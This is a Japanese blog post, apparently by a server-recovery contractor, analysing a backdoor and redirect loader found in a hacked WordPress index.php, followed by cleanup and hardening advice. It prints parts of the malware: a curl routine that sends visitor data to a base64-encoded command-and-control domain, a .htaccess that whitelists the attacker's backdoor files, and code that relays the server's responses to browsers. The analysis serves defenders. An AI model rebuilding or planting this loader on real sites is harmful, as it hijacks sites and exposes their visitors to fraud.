WordPressサイトの改ざん事例
日頃は業務委託でCIO的な仕事をしつつ、手を動かす仕事も忘れないように、ココナラで主にサーバ復旧の仕事を受けています。
WordPressの典型的なリモート制御型マルウェア事例
バックドア+リダイレクト用のローダーが仕込まれていました。
ドキュメントルートのindex.phpを見ると、以下のようになってました。

改ざんされたindex.phpの一部
通常のWordPressのindex.phpはこんな感じでシンプルなものです。
<?php
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
WordPressサイトの保守契約をどことも結んでいない方は、試しにwp-admin,wp-contentsと同じディレクトリにあるindex.phpを見てみると良いと思います。
上述のシンプルなもの以外だったり、見慣れないPHPファイルが置かれていたら焦る必要があります。
1.何が起きているのか
この index.php は、ざっくり言うと、
①.htaccess と robots.txt を自動生成・上書きしつつ、
②アクセス情報(ドメイン、URL、IP、UA など)を外部の C2 サーバに送信し
③返ってきたデータを base64 でデコードして、ヘッダ+本文をそのままブラウザに返す
という 「外部サーバの指示で挙動が変わるプロキシ兼バックドア」 です。
2.具体的な挙動
(1)curlを用いた外部通信
先頭でこんな定義がされています。
function h($url, $pf = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'h');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
if ($pf != '') {
curl_setopt($ch, CURLOPT_POST, 1);
if (is_array($pf)) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf));
}
}
$r = curl_exec($ch);
curl_close($ch);
if ($r) { return $r; }
return false;
}
その後、以下の外部URLをBase64で複合して呼び出しています。
$api = base64_decode('aHR0cDovLzY0MjMtY2g0LXYzMDAucmFrdXRlbjI5anAuY2xpY2s=');
// 復号結果: http://6423-ch4-v300.rakuten29jp.click
→ すべてのアクセスがこの怪しいドメインに情報付きで飛ばされ、その応答に従って表示内容が決まる 形です。
送っているパラメータも、
domain = $_SERVER['HTTP_HOST'] or SERVER_NAME
request_url = $_SERVER['REQUEST_URI']
referer = $_SERVER['HTTP_REFERER'] など
user_ip = X-Forwarded-For or REMOTE_ADDR
user_agent = $_SERVER['HTTP_USER_AGENT']
といった 典型的なボット/リダイレクト用マルウェアの情報 になっています。
(2) .htaccess の自動生成・書き換え
コード内で robots.txt を削除・再生成しつつ、.htaccess を書き換える処理があります。
Base64 で埋め込まれている .htaccess の内容は、復号するとこんな感じです。
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
.py / .exe / .php を 基本すべてアクセス拒否 にしておきながら、
index.php, lock360.php, wp-l0gin.php など 特定の PHP ファイルだけ 実行を許可する
攻撃者が仕込んだバックドアファイル群だけは生かして他は殺す 典型的なパターンです。
(3) 外部から送られてくるコードをそのまま実行
外部から返ってきたレスポンスは、以下のような形式を想定しています
①まず base64 デコード
②データを explode("\n", ...) などで分解し、header: 形式の行を取り出す
③残りを本文として出力
コード中では、以下のようになっています。
$data = base64_decode($data);
$data_array = explode("\n", $data);
$headers = [];
// ヘッダ行をパース
// ...
foreach($headers as $header) { @header($header); }
echo $data;
die();
- 攻撃者側サーバが Location: ... 等のヘッダや HTML/PHP コードを返す
- サーバ側はそれをそのままユーザーに返す
外側から配信内容を自由に変えられるリモートコントロール用ローダー です。
改ざんをみつけたら
とりあえずドキュメントルート直下のファイルのパーミッションを000に変更して、誰も参照できないようにするのが最優先かと思います。
怪しいファイルを正しく書き換える、バックアップから戻しても、高確率で再び改ざんされます。
1つのサーバで複数のWordPressや複数ドメインを運用している場合、他サイトのディレクトリにあるファイルが、別のサイトのファイルを改ざんするという例を多く見かけます。
問題なのは、被害者である上に、詐欺サイトの踏み台(=加害者)となる事です。
こうならないよう、簡単インストール等と言う言葉を信じず、セキュリティ面の考慮を十分にした上でサイトは公開すべきだと思います。
少なくともFTPは使用せず、鍵認証方式のSFTP等にして、レンタルサーバーの管理者パスワードも少なくとも15桁程度にはしましょう(2025年NIST基準)。
Discussion